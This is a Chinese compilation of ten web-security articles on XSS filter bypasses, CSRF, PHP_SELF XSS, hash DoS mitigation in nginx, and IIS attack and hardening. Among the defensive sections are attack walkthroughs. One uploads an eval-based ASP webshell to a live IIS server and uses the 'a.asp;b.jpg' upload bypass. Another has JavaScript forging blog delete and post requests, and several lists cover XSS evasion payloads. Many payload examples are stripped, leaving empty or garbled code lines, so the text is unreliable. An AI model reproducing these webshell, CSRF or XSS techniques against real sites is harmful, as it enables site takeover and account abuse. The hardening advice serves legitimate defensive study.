XXX安全修复后的跨站攻击分析 XSS不单是过滤
“葵花君的真马甲”通过精心收集，向本站投稿了10篇XXX安全修复后的跨站攻击分析 XSS不单是过滤，以下是小编为大家整理后的XXX安全修复后的跨站攻击分析 XSS不单是过滤，希望对您有所帮助。
篇1：XXX安全修复后的跨站攻击分析 XSS不单是过滤
Tosec信息安全团队（www.tosec.cn）
原漏洞
受影响的版本：
仅限8684.CN类似公交程序
描述：
程序查询的时候没有经过严格过来，直接导致跨站漏洞的产生
攻击测试代码beijing.8684.cn/so.php?k=pp&q=test“><”
测试攻击站点beijing.8684.cn/so.php?k=pp&q=test“><”
现漏洞分析：
漏洞页面：ask.php
简要描述：页面对后面的city数据没有严格的规划以致跨站再度产生
测试站点：hi.8684.cn/
问路吧是一个网民对站点路线查询的一个程序，基于UCH开发的，在近日我们已经联系相关人员通知了8684管理修复并开发了相关补丁
经对方程序员描述，目前已经过好相关的过滤，提高了安全性能，于是针对过滤与对方程序员讨论
现继续分析7.15安全修复后的问路吧程序，我们输入以下地址查看原漏洞是否还存在
<“
这个是为什么？如果我们只是输入中进行测试，可能无法检测出来，当时查看源码文件可以知道，其实这里有几个input提交，只要对其它的一个进行重新构造，那么就能触发新的XSS漏洞
相关文档：
blog.tosec.cn//?action=show&id=8
blog.tosec.cn//?action=show&id=1
相关攻击语句的构造：
hi.8684.cn/ask.php?q=”>
hi.8684.cn/ask.php?q=“>
篇2：问路吧 安全修复后的跨站攻击分析
Tosec Security Team Blog
受影响程序版本：
经过7.15安全修复后的8684问路吧
描述：
双层的输出导致了程序员没有对其进行严格过滤，我们在语句中发现只要在URL后添加我们的攻击语句，漏洞还是再度被触发
攻击测试代码
本程序基于UCH，如果知道UCH官方也在使用此程序请留言，以便于及时通知官方
篇3：XSS（跨站脚本攻击） 逃避过滤脚本安全
XSS（跨站脚本攻击） 备忘录
逃避过滤
出处：ha.ckers.org/xss.html
作者：RSnake
翻译：帝释天
如果你不知道如何进行XSS攻击，那么本文或许对你没有任何帮助，这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的细节问题的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。
（介绍部分略，太基础的部分也略，罪过，希望RSnake大牛大人有大量）
不分大小写引起的XSS
Code:
包含HTML字符
Code:
沉音符混淆（如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞）
Code:
畸形的IMG标签。最初由Beqeek发现（整理精简后可以工作于所有浏览器），该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。
Code: “>
fromCharCode 如果你无法使用引号，你可以使用fromCharCode用于eval函数。
Code:
UTF-8编码
Code:
Long UTF-8 编码可以不使用分号，这样绕过一些正则检查
Code:
没有分号的Hex编码
Code:
嵌入TAB键进行攻击
Code:
嵌入编码过后的TAB键
Code:
嵌入新行可以进行XSS，一些网站上说char 09 – 13都可以为XSS攻击服务，那显然不正确。只有09 10 13才会正常工作。
Code:
Code:
Code:
SRC
=
”
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
“
>
NULL字符能逃避很多过滤系统
Code: perl -e 'print ”“;' > out
Code: perl -e 'print ”
多余的开放括号。提交弗兰兹泽德尔迈尔，这XSS的载体能战胜某些侦测引擎，通过使用匹配的第一个打开和关闭角括号对和做了比较，然后在标签内的工作，而不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签（后解除困惑，当然）。双斜线意见中提出的结局无关的支架，以制止JavaScript错误：
Code: <
未关闭的标签
Code:
各种其他的标签
Code:
Code:
Code:
Code:
Code:
Code:
(netspace)
Code:
Code:
Code:
Code:
Code:
Code:
Code:
XSSCode: (netscape only)
Code: (netscape only)
Code:
Code:
Code:
Code:
Code:
US_ASCII编码（库尔特发现），
使用7位ascii编码代替8位，可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。
Code: ?scriptualert(EXSSE)?/scriptu
META协议
Code:
Code:
Code:
对DIV进行unicode编码
Code:
使用expression属性
Code:
STYLE标签
Code:
Code:
Code:
Code:
OBJECT标签
Code:
Code:
EMBED标签
Code:
Code:
在flash文件中使用如下代码：
Code: a=“get”;
b=“URL(”“;
c=”javascript.:“;
d=”alert('XSS');“)”;
eval(a+b+c+d);
XML namespace可以引入行为文件htc但是必须在同一服务器上
Code:
Xss.htc:
使用CDATA模糊化的XML数据岛
Cdoe:
XML数据岛
Code：
Code:
(xsstest.xml)必须同域下
HTML+ TIME
Code:
UTF7编码
Code:
防止二次执行的expression语句
篇4：Nginx过滤hash ddos攻击WEB安全
这事可能都过气了，不过还是贴出我使用的方式吧，用的着的可以参考.
上段时间的各语言hash绝对印象深刻吧，做网站的几乎都在此类，不论你是用的是php，python还是ruby都不同程度受到影响, PHP尤其明显，因为PHP用的人也多嘛，攻击方式简直简单到不行，有兴趣的可以找我索取此测试脚本，一个终端随便搞挂一台有次漏洞的PHP站点.
我们http请求都是通过nginx反向代理，所以优势是可以在nginx这一层对请求做很多逻辑,此次防hash dos就是这个架构.
原理是过滤post请求中超过指定参数数量的请求, 我的是300，可自己调整，应该没有http开发者在使用post方法的时候有超过这个参数值的了，所以不会影响正常请求.
之前有哥们自己写ngx的C模块，使用的也是这个原理，不过NGX模块开发复杂度是有的，因为自己C也看不熟练，还是自己用lua写，方便快捷，简洁明了.
#配置依赖ngx-lua模块
好，废话不多说，贴上nginx的配置：
>>cat post-limit.lua
ngx.req.read_body
local method = ngx.var.request_method
local max_count= 300 –post最大参数
if method == ‘POST’ then
local data = ngx.req.get_body_data()
if data then
local count = 0
local i = 0
while true do
if count > max_count then
–ngx.redirect(‘/post-error’)
ngx.exit(ngx.HTTP_BAD_REQUEST)
end
i = string.find(data, ‘&’, i+1)
if i == nil then break end
count = count + 1
end
end
end
>> cat nginx.conf
…..
server {
client_body_buffer_size 20m;
client_max_body_size 20m;
access_by_lua_file /opt/conf/nginx/lua/post_limit.lua;
}
…..
nginx其他配置已隐去.
nginx 1.0.XX结合后端PHP应用测试通过，配置也适用其他开发语言的http应用.
有时间可以慢慢升级你的后端应用PHP版本了，否则一系列的版本升级，也够呛.
代码段：
ngx.req.read_body()
local method = ngx.var.request_method
local max_count= 300
if method == 'POST' then
local data = ngx.req.get_body_data()
if data then
local count = 0
local i = 0
while true do
if count > max_count then
--ngx.redirect('/post-error')
ngx.exit(ngx.HTTP_BAD_REQUEST)
end
i = string.find(data, '&', i+1)
if i == nil then break end
count = count + 1
end
--else
-- ngx.redirect('/post-error')
end
end
完.
篇5：安全测试跨站脚本攻击（xss）脚本安全
跨站脚本简称(cross sites script)，是安全里比较重要也比较普遍的一种安全漏洞，跨站脚本是指输入恶意的代码，如果程序没有对输入输出进行验证，则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息，保存型xss还可以进行钓鱼，以获取更多的用户信息。
最常见的跨站脚本的方法，输入
以及它的各种变体
实体
%3Cscript%3Ealert(1)%3C/script%3E URL编码
或者 ;等 如果提交后，页面弹出警告框，则该页面存在xss漏洞 *反射型xss 通俗来讲，即使输入一段代码，既可以看到代码实际的效果，而非原程序的效果 如：一段代码 //location.search返回url?开始的部分 当输入以下url “127.0.0.1/attrck.html?search=222” 页面将显示：?search=222 ；但url中如果输入 /?search= 则页面的实际代码为： document.write（?search=）; 将弹出警告框，即代码被执行了，而并非页面原来显示?后字符串的效果 可以使用伪造后的url获取用户cookie
127.0.0.1/attrck.html?search=
因为cookie是禁止跨域访问的，但伪造的url，浏览器会认为是还是localhost的域
*保存型xss
是指将恶意代码保存到服务器，比如发布一篇包含恶意代码，其他用户浏览时将执行恶意脚本
*基于dom的xss
严格来说该xss也属于反射性，本文的例子其实也是dom based，是指修改页面的dom对象模型，从而达成攻击，比如页面使用了document.writedocument.writelninnerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工输入，需要考虑到输入限制、过滤、长度限制等因素，因此需要设计各种不容的变体输入，以达到测试效果，也可以使用工具，比如burpsuite来获取请求后手工修改请求参数，然后重新提交到浏览器来测试，因为xss并不限于可见的页面输入，还有可能是隐藏表单域、get请求参数等，
篇6：CSRF跨站请求伪造攻击+案例分析
最近在拜读《web前端 技术揭秘》，不是想学下三滥的手段，只是为了防止自己被骗，。。
由于采用了同源策略，所以想要实现跨站攻击，还是有一定限制的，但网络协议的自由也还是留下了很多漏洞。
XSS跨站脚本攻击和CSRF跨站请求伪造攻击是刚开始接触的攻击手段。
XSS:跨站，顾名思义，需要不同域的网站，例如正规网址是www.foo.com，而我们的恶意网站为www.evil.com
如何能够获取到正规网址的cookie，从而为所欲为呢？这里就需要跨站获取信息。
一般XSS分为三种：
（1）反射型XSS
这是暂时的，利用get或者post参数实现，如果服务器端对我们的参数有回显功能，那么这就可以实现了
例如服务端对我们的请求会调用eval(arg)
那么我们只需要在www.foo.com?alert('Icandoanything') 连接后加上我们要执行的js脚本，然后把该连接发给用户点击，就会执行后面的js脚本了。
（2）存储型
例如利用网站留言或者博客等功能，由于他们会持久存储，所以我们只要嵌入些恶意的代码，所有查看该留言或者博客的人都会被攻击了，庆幸的是现在知名的网站都不会让你那么容易做到代码嵌入，尤其脚本，几乎不可能，我也是小白，具体方法布吉岛了。
（3）DOM
就是通过修改DOM节点，例如imgsrc=www.evil.com/利用图像可以加在第三方资源。。。
另一种攻击就是跨站请求伪造
一般网址对html标签发出的跨站请求不会被同源策略所限制，应为我们经常借此加载第三方资源，例如img,script,css样式和框架内容等。
这也给我们留下了一些后门。。
下面我简单举个例子。。。。很不道德的就拿博客举例子了。没有恶意，只是为了说明CSRF跨站请求伪造
（1）Get请求伪造
博客删除一般是采用get请求，后面加上文章id号，所以如果我们能构造一个连接带有删除的请求和id，同时用户已经在浏览器上登陆了博客，那么会利用自带cookie来实现跨站请求的伪装，
例如我有一篇草稿博客，它的删除请求是：write.blog.host.net/postlist/0/all/draft?t=delid=11111111
Id指的就是文章id，只用用户去点击该连接那么。。。。。文章就被删除了，这里我们成功伪造了请求，删除别人的博客，不过很不道德。。
（2）Post请求伪造
一般文章的提交采用的是Post请求，所以我们可以帮别人写文章了
我们经常看到自己的一些社交上莫名被发广告状态，也许就可以通过这个实现了。。。。
首先得分析实际的post请求信息
很简单，直接利用浏览器自带的开发者调试功能F12(chrome下)
点击network，清空当前内容，然后我们正常的提交一份博客，这时候会捕捉下所有请求信息，注意下post请求，一般就是我们要利用的请求。
如下图，我们看到post请求地址已经Post需要的信息，好啦，接下来就是利用这个来模拟post
varf=document.createElement(formlink=图中用黄色荧光笔画出的地址，直接右键copy，因为还有前面头信息没显示完全//这里定义一个函数，向form添加数据//就是右边FormData的键值对了functionaddData(fm,key,value){vare=document.createElement(inputfm.appendChild(e);e.type=texte.name=key;e.value=value;if(f){body=document.body;document.body.appendChild(f);f.method=postaddData(f,titl,test4addData(f,typ,1addData(f,cont,nihaoaddData(f,desc,addData(f,tags,addData(f,flnm,addData(f,chnl,0addData(f,comm,2addData(f,level,0addData(f,tag2,)addData(f,artid,0)addData(f,checkcode,undefined)addData(f,userinfo1,121)addData(f,stat,draft)
最后补上一句，如何让别人去点击我们的连接呢？
加载第三方资源是个让人又爱又恨的家伙
我们的网页嵌入imgsrc=我们的伪造请求这就伪装的让人发现不了了
篇7： 针对$SERVER[’PHPSELF’]的跨站脚本攻击脚本安全
现在的web服务器和开发工具虽然不会再出现像asp的%81那样明显的漏洞了，但是由于开发人员的疏忽和各种语言特性组合造成的一些奇异的漏洞仍然会存在，
针对$SERVER[’PHPSELF’]的跨站脚本攻击脚本安全
。今天偶然读到的XSS Woes，就详细讲述了和$_SERVER[’PHP_SELF’]相关的一个危险漏洞。
$_SERVER[’PHP_SELF’]在开发的时候常会用到，一般用来引用当前网页地址，并且它是系统自动生成的全局变量，也会有什么问题么？让我们先看看下面的代码吧：
以下是引用片段：
这段代码非常简单，我们想用$_SERVER[’PHP_SELF’]来让网页提交时提交到它自己，假设代码文件名为test.php，在执行的时候就一定会得到我们期望的地址么？首先试试地址…/test.php，结果当然是没有问题的啦，别着急，你再访问一下…/test.php/a=1，将会得到如下客户端代码：
以下是引用片段：
显然，这已经超出了我们的期望，web服务器居然没有产生诸如404之类的错误，页面正常执行了，并且在生成的html代码中居然有用户可以输入的部分，恐怖的地方就在这里。别小看那个“a=1”，如果把它换成一段js代码，就显得更危险了，比如这么调用：
…/test.php/%22%3E%3Cscript%3Ealert(’xss’)%3C/script%3E%3Cfoo是不是看到了js的alert函数执行的效果？检查一下生成的html源代码找找原因吧。
通过这种嵌入js代码的方式，攻击者能蚧竦512～4k的代码空间，甚至还可以连接外部网站的js代码或者通过image调用来伪装js代码的方式，那样 js代码的长度就不受限制了，然后通过js，他们可以轻松的获取用户的cookie，或者更改当前页面的任何内容，比如更改表单提交的目的地，更改显示的内容（比如给一个链接地址增加一个onclick=…的属性，这样用户点击的时候就会执行攻击者指定的代码，甚至连接到并非此链接地址本身的网站），甚至作出一个ajax效果来也不一定，总之，不要忽视js的威力。
那么，再来看看这个漏洞产生的原理，首先test.php/….这种调用是web服务器允许的，很多cms系统，比如我以前用过的plog，好像也是采用这种方式，在服务器不支持rewrite的情况下实现诸如http: //…/index.php/archive/999这样的固定网址的（我以前还以为是对404错误页下的手），所以带“/”的地址无法从web服务器上禁止，
然后再看看php中对$_SERVER[’PHP_SELF’]的识别，他就是一个包含当前网址值的全局变量，天知道用户会输入什么样的网站，在上面的例子中是恶意的，可是在 这样的网站上，却又是可以正常使用这种方式的地址的。所以，最终的结论要落在开发人员身上了，没有很好的处理与用户交互的数据。
从安全角度来讲，在开发应用尤其是web应用的时候，所有用户提交的数据都是不安全的，这是基本原则，所以我们才不厌其烦的又是客户端验证又是服务端验证。从上面说的这个安全漏洞来讲，不安全的内容中又要增加“网址”一条了。要解决$_SERVER [’PHP_SELF’]的安全隐患，主要有以下2种方式：
1、htmlentities
用htmlentities($_SERVER [’PHP_SELF’])来替代简单的$_SERVER[’PHP_SELF’]，这样即使网址中包含恶意代码，也会被“转换”为用于显示的html代码，而不是被直接嵌入html代码中执行，简单一点说，就是“<”会变成“<”，变成无害的了。
2、REQUEST_URI
用$_SERVER[’REQUEST_URI’]来替代$_SERVER[’PHP_SELF’]，在phpinfo中可以看到这两个变量的区别：
_SERVER[”REQUEST_URI”] /fwolf/temp/test.php/%22%3E%3Cscript%3Ealert(’xss’)%3C/script%3E%3Cfoo
_SERVER[”PHP_SELF”] /fwolf/temp/test.php/”>
$_SERVER [’REQUEST_URI’]会原封不动的反映网址本身，网址中如果有%3C，那么你得到的也将会是%3C，而$_SERVER [’PHP_SELF’]会对网址进行一次urldecode操作，网址中的%3C将会变成字符“<”，所以就产生了漏洞。需要注意的是，在很多情况下，浏览器会对用户输入要提交给web服务器的内容进行encode，然后服务器端程序会自动进行decode，得到相应的原指，在我们进行post或者get操作的时候都是这样。
另外还有两点需要指出，第一是
篇8：也谈跨站脚本攻击与防御脚本安全
网络上曾经有过关于跨站脚本攻击与防御的文章，但是随着攻击技术的进步，以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了，而且由于这种对于跨站脚本认识上的混乱，导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题，希望本文能给写程序的与研究程序的带来一点思路，
还是首先看看跨站脚本漏洞的成因，所谓跨站脚本漏洞其实就是Html的注入问题，恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户，导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码，数据流程如下：
恶意用户的Html输入――――>web程序――――>进入数据库――――>web程序――――>用户浏览器
这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了，我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了！
1 什么是HTml输入？
这里给出一个HTml代码的示例
很多的程序最终都是将用户的输入转换成这种形式的。可以看到是告诉浏览器这是一个Html标记，img是这个Html标记的名称，src是这个标记的第一个属性，=后面是这个属性的值，后面的width是第二个属性，onerror是标记的事件属性。大家可以看到，一个Html标记是包括很多元素的，并不是传统意义上的只有输入才会注入Html，事实上只要你的输入处在Html标签内，产生了新的元素或者属性，就实现了跨站脚本攻击！实际上大多数隐秘的跨站脚本攻击是不需要的，因为现在的Ubb标签已经让你处在了Html标记之内，很有意思，不是么？
2 哪里才是罪恶的来源？
既然我们的目标是引入代码在目标用户的浏览器内执行，那么我们来看看哪些地方可以引入HTml代码吧！如果用户可以不受限制的引入，那么很显然他可以完全操纵一个Html标记，譬如这样的形式，这对于追求安全的程序来说是绝对不允许的，所以首先要做转换的就是，通过如下代码：
过滤代码：
replace(str,“<”,“<”)
replace(str,“>”,“>”)
好了，用户可能不能构造自己的HTml标记了，那么利用已经存在的属性如何呢？下面的代码依然可以工作得很好：
因为很多的Html标记里属性都支持javascript.:[code]的形式，很好，很多的程序意识到了这一点，可能做了如下的转换：
过滤代码
Dim re
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern=“javascript.:”
Str = re.replace(Str,“javascript：”)
re.Pattern=“jscript.:”
Str = re.replace(Str,“jscript：”)
re.Pattern=“vbscript.:”
Str = re.replace(Str,“vbscript：”)
set re=nothing
你看，只要发现以javascript等脚本属性的形式都会被过滤掉，失去了:的脚本代码是起不了作用的！这样完美了么？事实上Html属性的值，注意是值而不是属性本身是支持&SCii这种形式表示的，譬如上面的代码可以换成这样：
代码又执行了，呵呵！看来你漏掉了点什么哦，加上这个代码吧！
replace(str,“&”,“&”)
行了，&失去它原来的意义了，用户不能以其他方式表示Html属性值了哦！等等，这样的过滤真可以相信么？只要发现这种过滤的关键字机制，饶过就是简单的问题了：
没有javascript关键字了哦！注意中间那个是tab键弄出来的！关键字被拆分了哦！这是个很麻烦的问题，很多人忘记了这些特殊的字符，呵呵！有人想到要过滤空格了，在过滤之前我们再看看其他的一些东西吧！也许我们现在所处的src属性已经无法利用了，但是我们依然可以产生自己的属性或者事件机制哦！依然是可以执行Html代码的，首先说说事件机制吧：
这样依然可以执行代码的哦！明白问题出在哪了，不是么？有的程序员仿佛明白了，注意我说的是仿佛，动网就是一个典型的例子，事件属性不是要onerror么？很多人开始用正则表达式了，发现关键的词如onerror就会做转换或者提示用户不执行，是不是没有机会了呢？
当然不是的，事件只是让代码运行的一种方法而不是所有的，可以定义事件了那么也就可以实现自己弄出自己的属性了，试试下面的：
呵呵，还是执行了哦！在做关键字过滤之后有人发现是不是属性之间分隔要用到空格，好，他们把空格堵死了（这样认为的人很多，呵呵）！将空格转成 是个很普遍的方法？是么？甚至还可以让别人无法关键字拆分，不要太自信了，试试下面的代码看看如何：
嘿嘿，Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的！那怎么办呢？上面提到的好象一直都是在进行被动的攻击防御，为什么不抓住他的本源出来呢？哪里出了问题哪里堵上！
3 本质
上面的问题好象本质上就是一个东西，那就是用户超越了他所处的标签，也就是数据和代码的混淆，对付这种混淆的办法就是限制监牢，让用户在一个安全的空间内活动，这通过上面的分析大家也可能已经知道，只要在过滤了这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到“”之间，现在的一般的程序都是这样做的，譬如将会转化成这是个好的安全习惯，然后呢？就要让用户的输入处在安全的领域里了，这可以通过过滤用户输入里“”实现，但是不要忘记了，这个标签本身也是不安全的，过滤掉空格和tab键就不用担心关键字被拆分饶过了，然后就是用文章中提到的办法过滤掉script关键字，最后就是防止用户通过&样的形式饶过检查，转换掉&吧！
4 困惑
在文章中开始提到的图里可以看到，数据的转换和过滤是可以在3个地方进行转换的，在接受数据的时候可以转换下，在进入数据库的时候可以转换下，在输出数据的时候也可以转换下，但是困惑在哪里呢？不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲，安全是要有代价的，譬如现在邮箱的就不愿意舍弃html标签，因为需要支持多资多彩的页面，所以他们侧重于XSS的IDS检测的性质，只要发现不安全的东西就会转化，但是攻击是无法预知的，漂亮的东西总是脆弱的，有限制，肯定就有人会饶过，呵呵，
本文没什么技术含量，只是希望搞安全的脚本人员能更加的了解Xss，跨站，不是那么简单滴！
篇9：77种网站XSS跨站攻击脚本语法脚本安全
XSS又叫CSS (Cross-Site Script) ,跨站脚本攻击，恶意攻击者往Web页面里插入恶意html代码
当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
XSS分两类:
一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。
另一类则是来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。
如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开
(1)普通的XSS JavaScript注入
(2)IMG标签XSS使用JavaScript命令
(3)IMG标签无分号无引号
(4)IMG标签大小写不敏感
(5)HTML编码(必须有分号)
(6)修正缺陷IMG标签
”>
(7)formCharCode标签(计算器)
(8)UTF-8的Unicode编码(计算器)
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
(10)十六进制编码也是没有分号(计算器)
(11)嵌入式标签,将Javascript分开
(12)嵌入式编码标签,将Javascript分开
(13)嵌入式换行符
’);”>
(14)嵌入式回车
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
(16)解决限制字符(要求同页面)
(17)空字符
perl -e ‘print “”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “
(19)Spaces和meta前的IMG标签
(20)Non-alpha-non-digit XSS
(21)Non-alpha-non-digit XSS to 2
(22)Non-alpha-non-digit XSS to 3
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)
(29)换码过滤的JavaScript
[code]”;alert(‘XSS’);//
(30)结束Title标签
(31)Input Image
(32)BODY Image
(33)BODY标签
(34)IMG Dynsrc
(35)IMG Lowsrc
(36)BGSOUND
(37)STYLE. sheet
(38)远程样式表
(39)List-style-image(列表式)
XSS(40)IMG VBscript
XSS篇10：IIS攻击与安全加固实例分析
IIS作为一款流行的Web服务器，在当今互联网环境中占有很大的比重，绝大多数的asp、asp.net网站都运行在它上面，因此，也引来了无数 们关注的目光。目前针对IIS的攻击技术已经非常成熟，而且相对技术门槛较低，所以很多初学者拿它来练手。许多网站因为网站管理员的安全意识不高或技术上的疏忽而惨遭毒手。本文通过实例来谈谈针对IIS的攻击技术与安全加固措施。
攻击实例
IIS写权限漏洞利用
我们先通过一个攻击实例来演示如何利用IIS权限配置不当来快速攻陷一个网站，以此来提高广大读者对IIS安全性的重视。
目标网站IP：192.168.1.105
利用漏洞：IIS写权限漏洞
用到的工具：IIS PUT Scaner、桂林老兵写权限利用工具
1 检测目标网站是否存在写权限漏洞
打开IIS PUT Scanner，输入目标网站的IP、端口号（默认为80端口），然后点击“Scan”按钮开始扫描，很快就返回了结果，如图1所示：
图1
2 IIS写权限漏洞利用过程
根据扫描结果，我们可以确定目标网站存在IIS写权限漏洞。下面我们来看下如何利用这个漏洞，来得到一个WebShell。
我们先将“<%eval request(“cmd”)%>”这段一句话木马代码保存成一个txt文档，名字随意。我这里命名为test.txt。接着打开桂林老兵写权限利用工具，输入目标网站的IP或域名，在“数据包格式”处的下拉菜单中选择“PUT”数据包提交方式，最后点击“数据包提交”按钮，我们来看服务器返回的结果。如图2所示：
图2
服务器返回了201响应码，这标志着我们成功上传了文件。
现在我们需要将刚刚上传的txt文本修改为asp文件，否则服务器不会将它解析为asp文件。在“数据包格式”的下拉菜单中选择“MOVE”数据包提交方式，在“Destination”处修改文件名称，默认为shell.asp，这里我修改为cmd.asp。然后点击“提交数据包”按钮，我们来看服务器返回的信息。如图3所示：
图3服务器同样返回了“201”响应码，说明我们成功将test.txt修改为cmd.asp了。
现在我们用一句话木马客户端来连接刚上传的一句话木马，可以成功访问。如图4所示：
图4
这样我们就得到了一个WebShell。从整个攻击过程来看，用的时间很短，而且技术门槛很低，一个普通人运用工具也可以很快拿下一个网站。但遗憾的是，在实际的渗透测试过程中，依然有不少站点存在这样的漏洞，希望通过这个实例能够引起广大网络管理员对安全的重视。
IIS6.0解析漏洞利用
a. 在WEB目录下，当文件名称为类似“a.asp;b.jpg”这种格式的时候，IIS会将它解析为asp文件，如图5所示。
图5
b. 在WEB目录下，IIS6.0会将以“x.asp”这种格式命名的文件夹下的所有文件都解析为asp文件，如图6所示。
图6
上面这两点属于IIS设计的缺陷，但可惜微软认为这是IIS的特性，一直没有推出相应的安全补丁。
在尝试绕过文件上传检测时，这两种方法有时非常有效，下面是在实际渗透测试过程中遇到的一个例子。
先登录网站后台，直接上传一个asp木马，提示非法文件，不允许上传。接下来将它的名称改为1.asp;2.jpg后再次上传，发现成功上传至网站目录，如图7所示。
图7
安全加固
这部分我们通过跟踪IIS从安装到配置的整个过程，分析其中可能面临的安全风险，并给出相应的加固措施。
IIS安装及版本的选择
在IIS安装过程中，根据具体的业务需求，只安装必要的组件，以避免安装其他一切不必要的组件带来的安全风险。如网站正常运行只需要ASP环境，那我们就没必要安装.net组件。对于IIS版本，至少要在6.0以上，IIS5.0存在严重的安全漏洞，不过现在运行IIS5.0的服务器已经非常少了，对于这一点不用太过担心。
IIS配置
1 删除IIS默认站点
把IIS默认安装的站点删除或禁用掉。
2 禁用不必要的Web服务扩展
打开IIS 管理器，检查是否有不必要的“Web服务扩展”，如果有则禁用掉。如图8所示：
图8
3 IIS访问权限配置
如果IIS中有多个网站，建议为每个网站配置不同的匿名访问账户。
方法：
a. 新建一个账号，加入Guests组
b. “网站属性”--->“目录安全性”--->“身份验证和访问控制”，把“启用匿名访问”处，用刚新建的账户代替默认账户，如图9所示。
图9
4 网站目录权限配置
原则（如图10）：
目录有写入权限，一定不要分配执行权限
目录有执行权限，一定不要分配写入权限
网站上传目录和数据库目录一般需要分配“写入”权限，但一定不要分配执行权限
其他目录一般只分配“读取”和“记录访问”权限即可
图105 只保留必要的应用程序扩展
根据网站的实际情况，只保留必要的应用程序扩展，其他的一律删除，尤其是像cer、asa这样极其危险的扩展，而且一般网站也不需要它，如图11，
图11
6 修改IIS日志文件配置
无论是什么服务器，日志都是应该高度重视的部分。当发生安全事件时，我们可以通过分析日志来还原攻击过程，否则将无从查起。有条件的话，可以将日志发送到专门的日志服务器保存。
先检查是否启用了日志记录，如未启用，则启用它。日志格式设置为W3C扩展日志格式，IIS中默认是启用日志记录的。
接着修改IIS日志文件保存路径，默认保存在“C:WINDOWSsystem32LogFiles”目录下，这里修改为自定义路径。建议保存在非系统盘路径，并且IIS日志文件所在目录只允许Administrators组用户和SYSTEM用户访问，如图12。
图12
7 防止信息泄露
a. 禁止向客户端发送详细的ASP错误信息
“IIS管理器”--->“属性”--->“主目录”--->“配置”--->“调试”，选择“向客户端发送下列文本错误消息”项，自定义出错时返回的错误信息，如图13。
图13
b. 修改默认错误页面
“IIS管理器”--->“属性”--->“自定义错误”，用自定义的错误页面替换默认的默认页面。下面是我自定义的一个404错误页面，当网站发生404错误时，将向客户端返回这个页面，如图14。
图14
8 自定义IIS Banner信息默认Banner信息会泄露服务器类型、版本等相关信息，我们需要对其进行修改，这样可以防止信息泄露，还可以骗过一些自动化扫描、攻击工具。
a. 修改默认HTTP头信息
在修改之前，我们先来看下默认的HTTP头信息是什么样的。我们向IIS服务器发一个请求，然后用抓包工具分析它返回的数据，就可以发现HTTP头信息，如图15所示：
图15
上图用红框标注的地方就是HTTP头信息，通过它我们就可以确定目标网站使用的是IIS服务器。
现在我们来看下如何自定义HTTP头信息。首先，打开“IIS管理器”--->“属性”--->“HTTP头”，在“自定义HTTP头”选中默认的HTTP头信息，进行编辑，或者删除掉默认的，自己添加一个新的HTTP头信息。图16中是我随便自定义的一个HTTP头。
图16
在修改完成后，我们再来抓包分析一下，如图17所示：
图17
从图上可以看到，现在IIS服务器返回的HTTP头已经是我们自定义了。
b. 修改默认IIS头信息
修改默认IIS头信息需要通过工具来完成。这里推荐使用ServerMask，它是一款专门用来隐藏或修改IIS服务器默认Banner信息，防止信息泄露的工具。下图18是该软件的界面：
图18
在修改之前，我们先来分析下IIS默认的头信息，如图19所示：
图19
根据服务器返回的信息，我们很容易判断出目标网站使用的服务器是IIS，版本是6.0，操作系统是Windows Server 2003，这些信息对攻击者确定下一步行动是非常有帮助的。
我们也可以使用扫描工具来完成刺探目标网站服务器相关信息的任务，这类工具非常多，而且使用非常简单，如图20。
图20
现在我们来把默认的IIS头信息隐藏或修改掉，首先打开软件，选中要保护的网站，在“Security Profile”处的下拉菜单中选择相应的策略，这里我自定义一个。
图21
如图21所示，我把IIS默认的头信息修改成了Apache服务器的信息。这样就可以迷惑攻击者，有效隐藏网站的真实信息。现在我们再来分析下修改后的IIS服务器返回的头信息，如图22：
图22
现在IIS服务器返回的头信息已经是我们自定义的了，这里伪装成了Apache服务器。
我们再用扫描工具扫描一下，看能否得到目标网站的真实服务器类型，结果如图23：
图23
根据上图，我们可以看到现在扫描器已经获取不到目标网站的服务器类型了。
对于一些自动化攻击工具来说，因为获取不到目标服务器的类型和版本相关信息，自然也就无法进行下一步攻击了。
总结
通过上面对IIS攻击和安全加固的实例，相信读者对IIS服务器的安全有了更加深入的认识。其实对于IIS的安全加固并不难，很多时候更重要的是管理员的安全意识，只要有足够的安全意识，加上上面介绍的安全加固方法，相信你一定可以打造一个安全的IIS服务器。
【XXX安全修复后的跨站攻击分析 XSS不单是过滤】相关文章：
文档为doc格式